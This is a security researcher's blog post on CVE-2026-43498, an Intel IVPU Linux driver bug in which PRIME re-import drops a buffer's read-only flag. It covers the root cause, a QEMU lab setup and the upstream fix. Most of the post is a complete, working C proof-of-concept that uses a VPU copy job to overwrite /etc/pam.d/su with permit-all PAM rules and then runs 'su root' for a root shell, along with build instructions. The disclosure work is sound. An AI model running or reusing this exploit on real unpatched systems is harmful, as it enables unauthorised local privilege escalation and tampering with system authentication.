Skip to content
Y Yametsu
linux kernel vulnerability-research cve

CVE-2026-43498: When PRIME Drops IVPU Buffer Permissions

Tracing an Intel IVPU userptr permission loss across GEM and PRIME, reproducing the device-side write in QEMU, and following the upstream fix.

Y

Yametsu

2 min read
A blue buffer crosses PRIME bridges and a broken permission barrier toward device memory.

CVE-2026-43498: When PRIME Drops IVPU Buffer Permissions

Summary

While reviewing the Intel IVPU accelerator driver, I found that a buffer marked read-only could lose that restriction while moving through the GEM and PRIME sharing paths. The original process still saw a read-only mapping, but a newly reconstructed GEM object could be mapped writable in the VPU’s address space.

That mismatch turns a buffer-sharing edge case into a device-side write primitive. In a controlled guest, I used it to modify a file-backed page without opening the file for writing, then demonstrated the local privilege impact. The issue was reported upstream as CVE-2026-43498.

This is a local vulnerability: a process needs permission to open the IVPU device. It is not a network entry point.

Following the read-only flag

The investigation began by tracing the lifetime of DRM_IVPU_BO_READ_ONLY rather than looking for a single unsafe copy operation.

The userptr path pins pages for a long-term device mapping. When the read-only flag is set, the driver does not request writable page pins. The first IVPU buffer object then retains the flag. Later, when the object is bound into a VPU MMU context, the driver derives the device mapping permissions from that flag: the MMU read-only bit is set only when the buffer still says it is read-only.

The important boundary was PRIME. The userptr path creates a dma-buf and imports it into a GEM object. That first object has its IVPU flags restored. It is still an imported GEM object, though, and the driver allowed it to be exported again. Importing the resulting PRIME file descriptor created another wrapper object without the original IVPU-specific flag.

The backing pages had not changed. The permission metadata had. When the second object was bound, the missing flag meant the VPU mapping was writable.

The invariant I expected was simple: once the driver accepts a buffer as read-only, every wrapper around the same backing pages must preserve that restriction. The code maintained it for the first object but not through a re-export and re-import.

In simplified form, the two permission decisions looked like this:

if (!(flags & DRM_IVPU_BO_READ_ONLY))
    gup_flags |= FOLL_WRITE;

ivpu_mmu_context_map_sgt(..., ivpu_bo_is_read_only(bo));

The page-pinning path honors the flag, and the VPU mapping path consults it again. The bug was that the re-imported GEM wrapper no longer carried the flag between those decisions.

How I isolated the cause

I reviewed the userptr creation, GEM import, object binding, and MMU mapping paths together. That made it possible to connect three otherwise separate facts:

  1. The userptr code treats the read-only flag as meaningful when pinning pages.
  2. The initial GEM object gets the flag restored after import.
  3. The VPU MMU permissions are computed from the flags on whichever GEM object is eventually bound.

To check the hypothesis, I compared the buffer information for the original and PRIME-imported handles. The original reported the read-only flag; the reconstructed object did not. This narrowed the issue to flag propagation instead of a race, an address-layout dependency, or an invalid VPU command.

I then built a deterministic reproducer around an ordinary VPU copy job. It uses a read-only shared mapping as the destination, so the process itself has no write permission to the file. The device job is the only writer. In the diagnostic harness, I waited for the job and read the backing file again to confirm the write. The final readable PoC below keeps the same device operation, checks the reported job status, and uses the subsequent su invocation as its end-to-end impact check.

Lab validation and impact

The reproduction runs in a disposable QEMU guest using the Linux 7.0.2 kernel and IVPU module from the supplied lab. The guest exposes the accelerator as root:render with mode 0660, and the test user receives access through the render group. This models delegated access to an accelerator; it does not depend on a world-writable device node.

The local proof of concept registered a read-only, file-backed userptr, exercised the PRIME sharing path, and submitted a normal copy job to the reconstructed buffer. In the guest, the write primitive modified a PAM configuration file consumed by su, which demonstrated local privilege escalation. The test stayed inside the disposable VM; it did not target the host.

Testing without a physical IVPU

The test machine did not need Intel NPU hardware. The bundle includes a custom QEMU executable with a PCI device model named fake-ivpu; this is not a standard device in stock QEMU. QEMU presents that virtual PCI endpoint to the Linux guest, and the guest’s real IVPU kernel driver handles device discovery, ioctls, GEM/PRIME objects, and job submission. The fake device supplies the hardware-facing side needed by this reproduction.

The guest boots a separate Linux 7.0.2 kernel image and a purpose-built initramfs. The module is built for that kernel and loaded inside the guest, avoiding a dependency on the host kernel or on host NPU hardware. QEMU uses software emulation (accel=tcg), a q35 machine, and 4 GiB of guest memory. There is no PCI passthrough in the launch configuration.

The relevant part of launch.sh is:

"$QEMU_BIN" \
    -machine q35,accel=tcg \
    -cpu max -m 4096 \
    -kernel "$KERNEL_IMG" \
    -initrd "$INITRAMFS" \
    -fsdev local,id=fsdev0,path="$SHARE_DIR",security_model=none \
    -device virtio-9p-pci,id=fs0,fsdev=fsdev0,mount_tag=hostshare \
    -device fake-ivpu \
    -nographic -monitor none -no-reboot \
    -append "console=ttyS0 nokaslr ignore_loglevel firmware_class.path=/home/yametsu/firmware"

The kernel and initramfs are explicit inputs, rather than files inherited from the host. A Virtio 9p share makes the IVPU module, firmware, and test utilities available inside the guest at /home/yametsu. The guest init script mounts that share, loads the module, and creates the device node with permissions that model a delegated accelerator:

mount -t 9p -o trans=virtio,version=9p2000.L,nosuid hostshare /home/yametsu
insmod /home/yametsu/modules/intel_vpu.ko
mknod -m 0660 /dev/accel/accel0 c 261 0
chown 0:104 /dev/accel/accel0
chmod 0660 /dev/accel/accel0

Here, group ID 104 is render. A small privilege-drop helper starts the interactive shell as UID 1000 while retaining that supplementary group. Before running the test, I checked the preconditions from inside the guest:

$ id
uid=1000(yametsu) gid=1000(yametsu) groups=1000(yametsu),104(render)

$ ls -l /dev/accel/accel0
crw-rw---- 1 root render ... /dev/accel/accel0

The initramfs keeps the target file and its privileged consumer inside the guest root filesystem. The shared host directory provides the test artifacts; it is mounted with nosuid. This makes it possible to repeat the driver interaction in a disposable environment without granting the guest access to a physical IVPU.

The validation had two parts. First, buffer information from the original and PRIME-imported handles showed the read-only flag disappear at the object boundary. Then the guest submitted a normal VPU copy job to the imported object. In the diagnostic run, I read the file-backed page after completion; in the final PoC, a successful job status followed by a root shell from su is the end-to-end check. The lab README contains the expected pre- and post-exploitation identity for the guest.

This is a software reproduction of the driver path, not a hardware qualification test. It validates the flag loss and resulting permissions with the supplied QEMU device model; it does not measure real-device performance or establish that every IVPU firmware and hardware revision behaves identically. The model’s source is not included in this repro directory, so the setup above describes its observable role rather than its internal implementation.

The security boundary is the driver’s device-side permission check. The pages are legitimately pinned and mapped for the VPU, so this is not a DMA/IOMMU isolation bypass. The failure is that the driver gives the VPU broader access than the buffer’s read-only contract allows. With shared file-backed pages, a device write can dirty the page cache and alter data even when the process opened the file read-only. Depending on what consumes that data, the result can range from corruption or denial of service to code execution in a privileged context.

Fix and disclosure

The upstream fix adds an IVPU-specific PRIME export callback. It checks whether the GEM object is imported and rejects re-export with -EOPNOTSUPP. This prevents the unsupported path from creating a new object with incomplete IVPU permission metadata.

The essential guard in the upstream change is:

if (drm_gem_is_imported(obj)) {
    drm_gem_object_put(obj);
    return -EOPNOTSUPP;
}

The upstream commit credits the report to me and identifies the userptr-buffer support change as the introducing commit. The Linux CVE announcement lists the issue as introduced in 6.19 and fixed in 7.0.7 and 7.1. Distributions may backport the fix, so check the kernel advisory for the package you run rather than relying only on the upstream version number.

For affected systems, install a kernel package that includes the upstream fix or its distribution backport. The upstream change is available in the stable fix for 7.0.7 and the 7.1 fix.

What this bug taught me

Permission flags are part of an object’s security state, not incidental metadata. A sharing API can reconstruct the memory object while silently dropping driver-specific policy. Auditing only the original allocation path would have missed the bug; tracing the flag through export, import, binding, and MMU setup exposed it.

The test also reinforced the value of validating the backing object, not just ioctl return values. Comparing the two handles found the lost flag; checking the file after the VPU job proved the permission mismatch had a real integrity impact.

Proof-of-concept walkthrough

This PoC demonstrates a local privilege-escalation chain. The caller must already be able to open the IVPU device for read/write; in the lab guest, the unprivileged account gets that access through the render supplementary group. The guest runs the vulnerable 7.0.2 driver and keeps both /etc/pam.d/su and the setuid su binary inside its own root filesystem.

The source targets /etc/pam.d/su and does not restore it after the copy. Run it only in the disposable lab guest. It accepts an optional device-node path, but the PAM and su paths are fixed in the source. The command layout is for the 37xx copy operation used by the supplied fake-IVPU lab and assumes 4 KiB pages.

1. Prepare a file-backed page without write access

map_target_read_only() opens the PAM file with O_RDONLY, checks that it is at least as large as the payload, and maps its first page using PROT_READ | MAP_SHARED. Reading the first byte faults the file-backed page in before the driver pins it. The process never opens this file for writing and never makes its own mapping writable.

The payload is three short PAM rules:

auth sufficient pam_permit.so
account sufficient pam_permit.so
session sufficient pam_permit.so
########

Each sufficient rule lets the corresponding su PAM phase succeed in the guest. The comment padding starts a comment at the end of the new text. The copy only replaces the first sizeof(pam_payload) - 1 bytes; it does not truncate or rewrite the rest of the file.

2. Create and compare the two IVPU objects

main() initializes every file descriptor to -1, chooses /dev/accel/accel0 unless a device path was supplied, then calls exploit_read_only_import(). That function opens the IVPU node twice. The separate DRM file descriptors give the PRIME import a second file context and a distinct GEM handle.

create_userptr_buffer() wraps DRM_IOCTL_IVPU_BO_CREATE_FROM_USERPTR. The first call registers the read-only file mapping with DRM_IVPU_BO_READ_ONLY. query_buffer_info() records the original object’s flags. The code then exports that handle with DRM_IOCTL_PRIME_HANDLE_TO_FD, imports the PRIME fd on the second device descriptor with DRM_IOCTL_PRIME_FD_TO_HANDLE, and queries the reconstructed object’s flags and VPU address.

The comparison is an explicit gate:

  • The original must still report DRM_IVPU_BO_READ_ONLY.
  • The reimported object must not report that flag.

If either condition is false, the PoC stops before submitting a copy. This makes the object metadata loss visible independently of the payload write. On a kernel with the upstream fix, exporting the imported userptr GEM object is rejected with EOPNOTSUPP, so execution stops at export_buffer() and never reaches the copy job.

3. Build an ordinary copy job

submit_copy_job() allocates three anonymous 4 KiB pages for the command buffer, copy descriptor, and source. It registers each with the IVPU using ordinary writable userptr buffers. The source page is filled with spaces, then the PAM payload is copied to its beginning. This avoids reading from or writing through the process’s read-only target mapping during the device operation.

The command buffer starts with the 48-byte IVPU command-buffer header followed by a 24-byte copy command. The code selects command type 0x0302, points the command at one descriptor, and sets the context-save address after the command data, rounded up to a 64-byte boundary. The 64-byte descriptor contains the source and destination VPU addresses and the payload length. Its destination is the VPU address returned for the reimported GEM object.

The submission includes four GEM handles: command buffer, descriptor, source, and imported destination. It uses the compute engine at default priority. DRM_IOCTL_IVPU_BO_WAIT waits until a five-second monotonic-clock deadline, and the PoC accepts only DRM_IVPU_JOB_STATUS_SUCCESS. Since the device mapping was created from the reimported object’s flags, the lost read-only bit leaves that VPU mapping writable. The normal copy command can therefore modify the pinned page that backs the PAM file.

4. Use the resulting PAM change

After a successful job, exploit_read_only_import() reports that the target was overwritten. main() flushes its output, closes both GEM handles, the PRIME fd, the IVPU fds, and the target mapping, then replaces itself with:

/usr/bin/su root

The su process reads the modified PAM rules and opens a root shell in the guest. This completes the privilege-escalation demonstration. The PoC does not depend on a kernel code-execution payload: the impact comes from using the IVPU device to write a file-backed page consumed by a privileged program.

For the readable source below, build against the UAPI headers from the same kernel tree used by the guest. For example:

KERNEL_DIR=/path/to/linux-7.0.2
cc -O2 -Wall -Wextra -static \
  -I"$KERNEL_DIR/include/uapi" \
  -I"$KERNEL_DIR/include" \
  -o ivpu_pam_su_lpe_readable \
  pocs/ivpu_pam_su_lpe_readable.c

The shipped build-pocs.sh builds the compact PoC in the repro bundle; the command above builds the readable variant reproduced at the end of this post.

References

Complete PoC source

The following is the complete readable C proof of concept:

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef __user
#define __user
#endif

#include "drm/drm.h"
#include "drm/ivpu_accel.h"

/*
 * CVE-2026-43498 demonstration:
 * a PRIME reimport drops READ_ONLY from a userptr-backed BO. The VPU can then
 * write to the original file mapping and replace the su PAM rules in the guest.
 */
#define PAGE_SIZE_BYTES 4096u
#define DEFAULT_DEVICE "/dev/accel/accel0"
#define PAM_SU_PATH "/etc/pam.d/su"
#define SU_PATH "/usr/bin/su"
#define COPY_COMMAND_TYPE 0x0302u
#define JOB_TIMEOUT_SECONDS 5u

static const char pam_payload[] =
	"auth sufficient pam_permit.so\n"
	"account sufficient pam_permit.so\n"
	"session sufficient pam_permit.so\n"
	"########\n";

/* Command structures consumed by the IVPU firmware for a 37xx copy job. */
struct ivpu_command_buffer_header {
	uint32_t command_buffer_size;
	uint32_t command_offset;
	uint32_t api_version;
	uint32_t reserved;
	uint64_t descriptor_heap_base_address;
	uint64_t submission_timestamp;
	uint64_t fence_heap_base_address;
	uint64_t context_save_area_address;
};

struct ivpu_command_header {
	uint16_t type;
	uint16_t size;
};

struct ivpu_copy_command {
	struct ivpu_command_header header;
	uint32_t reserved_0;
	uint64_t descriptor_start_address;
	uint32_t descriptor_count;
	uint32_t reserved_1;
};

struct ivpu_copy_descriptor_37xx {
	uint64_t reserved_0[2];
	uint64_t source_address;
	uint64_t destination_address;
	uint32_t size;
	uint32_t reserved_1[7];
};

_Static_assert(sizeof(struct ivpu_command_buffer_header) == 48,
	       "unexpected IVPU command-buffer header layout");
_Static_assert(sizeof(struct ivpu_copy_command) == 24,
	       "unexpected IVPU copy-command layout");
_Static_assert(sizeof(struct ivpu_copy_descriptor_37xx) == 64,
	       "unexpected IVPU 37xx descriptor layout");

struct file_mapping {
	int fd;
	void *address;
	size_t length;
};

struct ivpu_buffer {
	uint32_t handle;
	uint64_t device_address;
};

struct exploit_resources {
	int original_device_fd;
	int imported_device_fd;
	int prime_fd;
	struct ivpu_buffer original_buffer;
	struct ivpu_buffer imported_buffer;
	struct file_mapping target_file;
};

struct copy_job_memory {
	void *command_buffer_mapping;
	void *descriptor_mapping;
	void *source_mapping;
	struct ivpu_buffer command_buffer;
	struct ivpu_buffer descriptors;
	struct ivpu_buffer source;
};

static void report_errno(const char *operation)
{
	fprintf(stderr, "[-] %s: %s\n", operation, strerror(errno));
}

static int map_target_read_only(const char *path, size_t required_size,
				struct file_mapping *mapping)
{
	struct stat status;
	volatile uint8_t first_byte;

	mapping->fd = open(path, O_RDONLY | O_CLOEXEC);
	if (mapping->fd == -1) {
		report_errno("open target file");
		return -1;
	}

	if (fstat(mapping->fd, &status) == -1) {
		report_errno("stat target file");
		return -1;
	}
	if (status.st_size < 0 || (uintmax_t)status.st_size < required_size) {
		fprintf(stderr, "[-] target file is smaller than the payload\n");
		return -1;
	}

	mapping->length = PAGE_SIZE_BYTES;
	mapping->address = mmap(NULL, mapping->length, PROT_READ, MAP_SHARED,
				mapping->fd, 0);
	if (mapping->address == MAP_FAILED) {
		report_errno("map target file");
		return -1;
	}

	/* Fault the read-only, file-backed page in before registering it as a BO. */
	first_byte = *(volatile uint8_t *)mapping->address;
	(void)first_byte;
	return 0;
}

static void unmap_target_file(struct file_mapping *mapping)
{
	if (mapping->address != MAP_FAILED) {
		munmap(mapping->address, mapping->length);
		mapping->address = MAP_FAILED;
	}
	if (mapping->fd != -1) {
		close(mapping->fd);
		mapping->fd = -1;
	}
}

static int open_accelerator(const char *path)
{
	int fd = open(path, O_RDWR | O_CLOEXEC);

	if (fd == -1)
		report_errno("open IVPU device");
	return fd;
}

static void *map_anonymous_page(void)
{
	void *address = mmap(NULL, PAGE_SIZE_BYTES, PROT_READ | PROT_WRITE,
			     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	if (address == MAP_FAILED)
		report_errno("map anonymous page");
	return address;
}

static int create_userptr_buffer(int fd, void *address, size_t size,
				 uint32_t flags, struct ivpu_buffer *buffer)
{
	struct drm_ivpu_bo_create_from_userptr request = {
		.user_ptr = (uintptr_t)address,
		.size = size,
		.flags = flags,
	};

	if (ioctl(fd, DRM_IOCTL_IVPU_BO_CREATE_FROM_USERPTR, &request) == -1) {
		report_errno("create userptr buffer");
		return -1;
	}

	buffer->handle = request.handle;
	buffer->device_address = request.vpu_addr;
	return 0;
}

static int query_buffer_info(int fd, uint32_t handle,
			     struct drm_ivpu_bo_info *info)
{
	memset(info, 0, sizeof(*info));
	info->handle = handle;

	if (ioctl(fd, DRM_IOCTL_IVPU_BO_INFO, info) == -1) {
		report_errno("query buffer information");
		return -1;
	}
	return 0;
}

static int export_buffer(int fd, uint32_t handle)
{
	struct drm_prime_handle request = {
		.handle = handle,
		.flags = DRM_CLOEXEC | DRM_RDWR,
	};

	if (ioctl(fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, &request) == -1) {
		report_errno("export buffer through PRIME");
		return -1;
	}
	return request.fd;
}

static int import_buffer(int fd, int prime_fd, struct ivpu_buffer *buffer)
{
	struct drm_prime_handle request = {
		.fd = prime_fd,
	};

	if (ioctl(fd, DRM_IOCTL_PRIME_FD_TO_HANDLE, &request) == -1) {
		report_errno("import buffer through PRIME");
		return -1;
	}

	buffer->handle = request.handle;
	return 0;
}

static void close_buffer_handle(int fd, uint32_t handle)
{
	struct drm_gem_close request = {
		.handle = handle,
	};

	if (fd == -1 || handle == 0)
		return;

	if (ioctl(fd, DRM_IOCTL_GEM_CLOSE, &request) == -1)
		fprintf(stderr, "[!] could not close GEM handle %" PRIu32 ": %s\n",
			handle, strerror(errno));
}

static int monotonic_time_ns(uint64_t *time_ns)
{
	struct timespec time;

	if (clock_gettime(CLOCK_MONOTONIC, &time) == -1) {
		report_errno("read monotonic clock");
		return -1;
	}

	*time_ns = (uint64_t)time.tv_sec * UINT64_C(1000000000) +
		   (uint64_t)time.tv_nsec;
	return 0;
}

static void release_copy_job_memory(int fd, struct copy_job_memory *memory)
{
	close_buffer_handle(fd, memory->source.handle);
	close_buffer_handle(fd, memory->descriptors.handle);
	close_buffer_handle(fd, memory->command_buffer.handle);

	if (memory->source_mapping != MAP_FAILED)
		munmap(memory->source_mapping, PAGE_SIZE_BYTES);
	if (memory->descriptor_mapping != MAP_FAILED)
		munmap(memory->descriptor_mapping, PAGE_SIZE_BYTES);
	if (memory->command_buffer_mapping != MAP_FAILED)
		munmap(memory->command_buffer_mapping, PAGE_SIZE_BYTES);
}

static int submit_copy_job(int fd, uint64_t destination_address,
			   const void *payload, size_t payload_size,
			   uint32_t destination_handle, uint32_t *job_status)
{
	struct copy_job_memory memory = {
		.command_buffer_mapping = MAP_FAILED,
		.descriptor_mapping = MAP_FAILED,
		.source_mapping = MAP_FAILED,
	};
	struct drm_ivpu_submit submit = { 0 };
	struct drm_ivpu_bo_wait wait = { 0 };
	struct ivpu_command_buffer_header *command_buffer;
	struct ivpu_copy_command *copy_command;
	struct ivpu_copy_descriptor_37xx *descriptor;
	uint32_t handles[4];
	uint64_t aligned_command_buffer_size, timeout_ns;
	int result = -1;

	if (payload_size == 0 || payload_size > PAGE_SIZE_BYTES ||
	    payload_size > UINT32_MAX) {
		fprintf(stderr, "[-] payload does not fit in the source buffer\n");
		return -1;
	}

	memory.command_buffer_mapping = map_anonymous_page();
	if (memory.command_buffer_mapping == MAP_FAILED)
		goto cleanup;
	memory.descriptor_mapping = map_anonymous_page();
	if (memory.descriptor_mapping == MAP_FAILED)
		goto cleanup;
	memory.source_mapping = map_anonymous_page();
	if (memory.source_mapping == MAP_FAILED)
		goto cleanup;

	memset(memory.command_buffer_mapping, 0, PAGE_SIZE_BYTES);
	memset(memory.descriptor_mapping, 0, PAGE_SIZE_BYTES);
	memset(memory.source_mapping, 0x20, PAGE_SIZE_BYTES);
	memcpy(memory.source_mapping, payload, payload_size);

	if (create_userptr_buffer(fd, memory.command_buffer_mapping,
				  PAGE_SIZE_BYTES, 0, &memory.command_buffer) == -1 ||
	    create_userptr_buffer(fd, memory.descriptor_mapping,
				  PAGE_SIZE_BYTES, 0, &memory.descriptors) == -1 ||
	    create_userptr_buffer(fd, memory.source_mapping, PAGE_SIZE_BYTES, 0,
				  &memory.source) == -1)
		goto cleanup;

	command_buffer = memory.command_buffer_mapping;
	command_buffer->command_buffer_size = (uint32_t)
		(sizeof(*command_buffer) + sizeof(struct ivpu_copy_command));
	command_buffer->command_offset = sizeof(*command_buffer);
	aligned_command_buffer_size =
		((uint64_t)command_buffer->command_buffer_size + 63u) & ~UINT64_C(63);
	command_buffer->context_save_area_address =
		memory.command_buffer.device_address + aligned_command_buffer_size;

	copy_command = (struct ivpu_copy_command *)
		((uint8_t *)memory.command_buffer_mapping +
		 command_buffer->command_offset);
	copy_command->header.type = COPY_COMMAND_TYPE;
	copy_command->header.size = sizeof(*copy_command);
	copy_command->descriptor_start_address = memory.descriptors.device_address;
	copy_command->descriptor_count = 1;

	descriptor = memory.descriptor_mapping;
	descriptor->source_address = memory.source.device_address;
	descriptor->destination_address = destination_address;
	descriptor->size = (uint32_t)payload_size;

	handles[0] = memory.command_buffer.handle;
	handles[1] = memory.descriptors.handle;
	handles[2] = memory.source.handle;
	handles[3] = destination_handle;

	submit.buffers_ptr = (uintptr_t)handles;
	submit.buffer_count = sizeof(handles) / sizeof(handles[0]);
	submit.engine = DRM_IVPU_ENGINE_COMPUTE;
	submit.priority = DRM_IVPU_JOB_PRIORITY_DEFAULT;

	if (ioctl(fd, DRM_IOCTL_IVPU_SUBMIT, &submit) == -1) {
		report_errno("submit IVPU copy job");
		goto cleanup;
	}

	if (monotonic_time_ns(&timeout_ns) == -1)
		goto cleanup;
	timeout_ns += (uint64_t)JOB_TIMEOUT_SECONDS * UINT64_C(1000000000);
	wait.handle = memory.command_buffer.handle;
	wait.timeout_ns = (int64_t)timeout_ns;

	if (ioctl(fd, DRM_IOCTL_IVPU_BO_WAIT, &wait) == -1) {
		report_errno("wait for IVPU copy job");
		goto cleanup;
	}

	*job_status = wait.job_status;
	result = 0;

cleanup:
	release_copy_job_memory(fd, &memory);
	return result;
}

static int exploit_read_only_import(struct exploit_resources *resources,
				    const char *device_path)
{
	struct drm_ivpu_bo_info original_info;
	struct drm_ivpu_bo_info imported_info;
	uint32_t job_status;

	printf("[*] target: %s\n[*] device: %s\n", PAM_SU_PATH, device_path);

	if (map_target_read_only(PAM_SU_PATH, sizeof(pam_payload) - 1,
				 &resources->target_file) == -1)
		return -1;

	resources->original_device_fd = open_accelerator(device_path);
	if (resources->original_device_fd == -1)
		return -1;
	resources->imported_device_fd = open_accelerator(device_path);
	if (resources->imported_device_fd == -1)
		return -1;

	/* Register the read-only file mapping, then export and reimport its BO. */
	if (create_userptr_buffer(resources->original_device_fd,
				  resources->target_file.address,
				  resources->target_file.length,
				  DRM_IVPU_BO_READ_ONLY,
				  &resources->original_buffer) == -1)
		return -1;
	if (query_buffer_info(resources->original_device_fd,
			      resources->original_buffer.handle,
			      &original_info) == -1)
		return -1;

	resources->prime_fd = export_buffer(resources->original_device_fd,
					    resources->original_buffer.handle);
	if (resources->prime_fd == -1)
		return -1;
	if (import_buffer(resources->imported_device_fd, resources->prime_fd,
			  &resources->imported_buffer) == -1)
		return -1;
	if (query_buffer_info(resources->imported_device_fd,
			      resources->imported_buffer.handle,
			      &imported_info) == -1)
		return -1;

	resources->imported_buffer.device_address = imported_info.vpu_addr;
	printf("[*] READ_ONLY flags: original=0x%x, reimported=0x%x\n",
	       original_info.flags, imported_info.flags);

	if (!(original_info.flags & DRM_IVPU_BO_READ_ONLY)) {
		fprintf(stderr, "[-] original buffer did not retain READ_ONLY\n");
		return -1;
	}
	if (imported_info.flags & DRM_IVPU_BO_READ_ONLY) {
		fprintf(stderr,
			"[-] reimported buffer retained READ_ONLY; "
			"vulnerable path not reproduced\n");
		return -1;
	}

	/* The imported BO supplies the writable VPU mapping used by the copy job. */
	if (submit_copy_job(resources->imported_device_fd,
			    resources->imported_buffer.device_address,
			    pam_payload, sizeof(pam_payload) - 1,
			    resources->imported_buffer.handle, &job_status) == -1)
		return -1;

	printf("[*] copy job status=0x%x\n", job_status);
	if (job_status != DRM_IVPU_JOB_STATUS_SUCCESS) {
		fprintf(stderr, "[-] IVPU copy job failed\n");
		return -1;
	}

	printf("[+] %s overwritten; starting %s as root\n", PAM_SU_PATH, SU_PATH);
	return 0;
}

static void release_exploit_resources(struct exploit_resources *resources)
{
	close_buffer_handle(resources->imported_device_fd,
			    resources->imported_buffer.handle);
	close_buffer_handle(resources->original_device_fd,
			    resources->original_buffer.handle);

	if (resources->prime_fd != -1)
		close(resources->prime_fd);
	if (resources->imported_device_fd != -1)
		close(resources->imported_device_fd);
	if (resources->original_device_fd != -1)
		close(resources->original_device_fd);

	unmap_target_file(&resources->target_file);
}

int main(int argc, char **argv)
{
	const char *device_path = DEFAULT_DEVICE;
	struct exploit_resources resources = {
		.original_device_fd = -1,
		.imported_device_fd = -1,
		.prime_fd = -1,
		.target_file = {
			.fd = -1,
			.address = MAP_FAILED,
		},
	};

	if (argc > 2) {
		fprintf(stderr, "Usage: %s [ivpu-device]\n", argv[0]);
		return EXIT_FAILURE;
	}
	if (argc == 2)
		device_path = argv[1];

	if (exploit_read_only_import(&resources, device_path) == -1) {
		release_exploit_resources(&resources);
		return EXIT_FAILURE;
	}

	fflush(stdout);
	release_exploit_resources(&resources);
	execl(SU_PATH, "su", "root", (char *)NULL);
	report_errno("execute su");
	return EXIT_FAILURE;
}
Share:

Follow new write-ups

Follow new research notes and technical articles through the RSS feed.